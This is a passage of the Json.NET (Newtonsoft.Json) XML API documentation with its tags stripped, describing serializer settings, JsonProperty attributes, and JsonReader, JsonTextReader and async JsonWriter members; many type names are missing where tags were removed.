+ + + + Gets or sets the missing member handling used when deserializing this object. + + The missing member handling. + + + + Gets or sets how the object's properties with null values are handled during serialization and deserialization. + + How the object's properties with null values are handled during serialization and deserialization. + + + + Gets or sets a value that indicates whether the object's properties are required. + + + A value indicating whether the object's properties are required. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified member serialization. + + The member serialization. + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Instructs the to always serialize the member with the specified name. + + + + + Gets or sets the type used when serializing the property's collection items. + + The collection's items type. + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the null value handling used when serializing this property. + + The null value handling. + + + + Gets or sets the default value handling used when serializing this property. + + The default value handling. + + + + Gets or sets the reference loop handling used when serializing this property. + + The reference loop handling. + + + + Gets or sets the object creation handling used when deserializing this property. + + The object creation handling. + + + + Gets or sets the type name handling used when serializing this property. + + The type name handling. + + + + Gets or sets whether this property's value is serialized as a reference. + + Whether this property's value is serialized as a reference. + + + + Gets or sets the order of serialization of a member. + + The numeric order of serialization. + + + + Gets or sets a value indicating whether this property is required. + + + A value indicating whether this property is required. + + + + + Gets or sets the name of the property. + + The name of the property. + + + + Gets or sets the reference loop handling used when serializing the property's collection items. + + The collection's items reference loop handling. + + + + Gets or sets the type name handling used when serializing the property's collection items. + + The collection's items type name handling. + + + + Gets or sets whether this property's collection items are serialized as a reference. + + Whether this property's collection items are serialized as a reference. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified name. + + Name of the property. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. + + + + + Asynchronously reads the next JSON token from the source. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns true if the next token was read successfully; false if there are no more tokens to read. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously skips the children of the current token. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a []. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the []. This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Specifies the state of the reader. + + + + + A read method has not been called. + + + + + The end of the file has been reached successfully. + + + + + Reader is at a property. + + + + + Reader is at the start of an object. + + + + + Reader is in an object. + + + + + Reader is at the start of an array. + + + + + Reader is in an array. + + + + + The method has been called. + + + + + Reader has just read a value. + + + + + Reader is at the start of a constructor. + + + + + Reader is in a constructor. + + + + + An error occurred that prevents the read operation from continuing. + + + + + The end of the file has been reached successfully. + + + + + Gets the current reader state. + + The current reader state. + + + + Gets or sets a value indicating whether the source should be closed when this reader is closed. + + + true to close the source when this reader is closed; otherwise false. The default is true. + + + + + Gets or sets a value indicating whether multiple pieces of JSON content can + be read from a continuous stream without erroring. + + + true to support reading multiple pieces of JSON content; otherwise false. + The default is false. + + + + + Gets the quotation mark character used to enclose the value of a string. + + + + + Gets or sets how time zones are handled when reading JSON. + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + + + + + Gets or sets how custom date formatted strings are parsed when reading JSON. + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Gets the type of the current JSON token. + + + + + Gets the text value of the current JSON token. + + + + + Gets the .NET type for the current JSON token. + + + + + Gets the depth of the current token in the JSON document. + + The depth of the current token in the JSON document. + + + + Gets the path of the current JSON token. + + + + + Gets or sets the culture used when reading JSON. Defaults to . + + + + + Initializes a new instance of the class. + + + + + Reads the next JSON token from the source. + + true if the next token was read successfully; false if there are no more tokens to read. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a []. + + A [] or null if the next JSON token is null. This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Skips the children of the current token. + + + + + Sets the current token. + + The new token. + + + + Sets the current token and value. + + The new token. + The value. + + + + Sets the current token and value. + + The new token. + The value. + A flag indicating whether the position index inside an array should be updated. + + + + Sets the state based on current token type. + + + + + Releases unmanaged and - optionally - managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Changes the reader's state to . + If is set to true, the source is also closed. + + + + + The exception thrown when an error occurs while reading JSON text. + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class + with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The line number indicating where the error occurred. + The line position indicating where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Instructs the to always serialize the member, and to require that the member has a value. + + + + + The exception thrown when an error occurs during JSON serialization or deserialization. + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class + with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The line number indicating where the error occurred. + The line position indicating where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Serializes and deserializes objects into and from the JSON format. + The enables you to control how objects are encoded into JSON. + + + + + Occurs when the errors during serialization and deserialization. + + + + + Gets or sets the used by the serializer when resolving references. + + + + + Gets or sets the used by the serializer when resolving type names. + + + + + Gets or sets the used by the serializer when resolving type names. + + + + + Gets or sets the used by the serializer when writing trace messages. + + The trace writer. + + + + Gets or sets the equality comparer used by the serializer when comparing references. + + The equality comparer. + + + + Gets or sets how type name writing and reading is handled by the serializer. + The default value is . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how object references are preserved by the serializer. + The default value is . + + + + + Gets or sets how reference loops (e.g. a class referencing itself) is handled. + The default value is . + + + + + Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. + The default value is . + + + + + Gets or sets how null values are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how default values are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how objects are created during deserialization. + The default value is . + + The object creation handling. + + + + Gets or sets how constructors are used during deserialization. + The default value is . + + The constructor handling. + + + + Gets or sets how metadata properties are used during deserialization. + The default value is . + + The metadata properties handling. + + + + Gets a collection that will be used during serialization. + + Collection that will be used during serialization. + + + + Gets or sets the contract resolver used by the serializer when + serializing .NET objects to JSON and vice versa. + + + + + Gets or sets the used by the serializer when invoking serialization callback methods. + + The context. + + + + Indicates how JSON text output is formatted. + The default value is . + + + + + Gets or sets how dates are written to JSON text. + The default value is . + + + + + Gets or sets how time zones are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + The default value is . + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + The default value is . + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written as JSON text. + The default value is . + + + + + Gets or sets how strings are escaped when writing JSON text. + The default value is . + + + + + Gets or sets how and values are formatted when writing JSON text, + and the expected date format when reading JSON text. + The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". + + + + + Gets or sets the culture used when reading JSON. + The default value is . + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. + The default value is false. + + + true if there will be a check for additional JSON content after deserializing an object; otherwise, false. + + + + + Initializes a new instance of the class. + + + + + Creates a new instance. + The will not use default settings + from . + + + A new instance. + The will not use default settings + from . + + + + + Creates a new instance using the specified . + The will not use default settings + from . + + The settings to be applied to the . + + A new instance using the specified . + The will not use default settings + from . + + + + + Creates a new instance. + The will use default settings + from . + + + A new instance. + The will use default settings + from . + + + + + Creates a new instance using the specified . + The will use default settings + from as well as the specified . + + The settings to be applied to the . + + A new instance using the specified . + The will use default settings + from as well as the specified . + + + + + Populates the JSON values onto the target object. + + The that contains the JSON structure to read values from. + The target object to populate values onto. + + + + Populates the JSON values onto the target object. + + The that contains the JSON structure to read values from. + The target object to populate values onto. + + + + Deserializes the JSON structure contained by the specified . + + The that contains the JSON structure to deserialize. + The being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The of object being deserialized. + The instance of being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The type of the object to deserialize. + The instance of being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The of object being deserialized. + The instance of being deserialized. + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + The type of the value being serialized. + This parameter is used when is Auto to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + + + Specifies the settings on a object. + + + + + Gets or sets how reference loops (e.g. a class referencing itself) are handled. + The default value is . + + Reference loop handling. + + + + Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. + The default value is . + + Missing member handling. + + + + Gets or sets how objects are created during deserialization. + The default value is . + + The object creation handling. + + + + Gets or sets how null values are handled during serialization and deserialization. + The default value is . + + Null value handling. + + + + Gets or sets how default values are handled during serialization and deserialization. + The default value is . + + The default value handling. + + + + Gets or sets a collection that will be used during serialization. + + The converters. + + + + Gets or sets how object references are preserved by the serializer. + The default value is . + + The preserve references handling. + + + + Gets or sets how type name writing and reading is handled by the serializer. + The default value is . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + The type name handling. + + + + Gets or sets how metadata properties are used during deserialization. + The default value is . + + The metadata properties handling. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how constructors are used during deserialization. + The default value is . + + The constructor handling. + + + + Gets or sets the contract resolver used by the serializer when + serializing .NET objects to JSON and vice versa. + + The contract resolver. + + + + Gets or sets the equality comparer used by the serializer when comparing references. + + The equality comparer. + + + + Gets or sets the used by the serializer when resolving references. + + The reference resolver. + + + + Gets or sets a function that creates the used by the serializer when resolving references. + + A function that creates the used by the serializer when resolving references. + + + + Gets or sets the used by the serializer when writing trace messages. + + The trace writer. + + + + Gets or sets the used by the serializer when resolving type names. + + The binder. + + + + Gets or sets the used by the serializer when resolving type names. + + The binder. + + + + Gets or sets the error handler called during serialization and deserialization. + + The error handler called during serialization and deserialization. + + + + Gets or sets the used by the serializer when invoking serialization callback methods. + + The context. + + + + Gets or sets how and values are formatted when writing JSON text, + and the expected date format when reading JSON text. + The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Indicates how JSON text output is formatted. + The default value is . + + + + + Gets or sets how dates are written to JSON text. + The default value is . + + + + + Gets or sets how time zones are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + The default value is . + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written as JSON. + The default value is . + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + The default value is . + + + + + Gets or sets how strings are escaped when writing JSON text. + The default value is . + + + + + Gets or sets the culture used when reading JSON. + The default value is . + + + + + Gets a value indicating whether there will be a check for additional content after deserializing an object. + The default value is false. + + + true if there will be a check for additional content after deserializing an object; otherwise, false. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + using values copied from the passed in . + + + + + Represents a reader that provides fast, non-cached, forward-only access to JSON text data. + + + + + Asynchronously reads the next JSON token from the source. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns true if the next token was read successfully; false if there are no more tokens to read. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a []. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the []. This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Initializes a new instance of the class with the specified . + + The containing the JSON data to read. + + + + Gets or sets the reader's property name table. + + + + + Gets or sets the reader's character buffer pool. + + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a []. + + A [] or null if the next JSON token is null. This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Gets a value indicating whether the class can return line information. + + + true if and can be provided; otherwise, false. + + + + + Gets the current line number. + + + The current line number or 0 if no line information is available (for example, returns false). + + + + + Gets the current line position. + + + The current line position or 0 if no line information is available (for example, returns false). + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the JSON value delimiter. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the specified end token. + + The end token to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously closes this writer. + If is set to true, the destination is also closed. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of the current JSON object or array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes indent characters. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes an indent space. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes raw JSON without changing the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a null value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the beginning of a JSON array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the beginning of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the start of a constructor with the given name. + + The name of the constructor. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes an undefined value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the given white space. + + The string of white space characters. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a [] value. + + The [] value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the 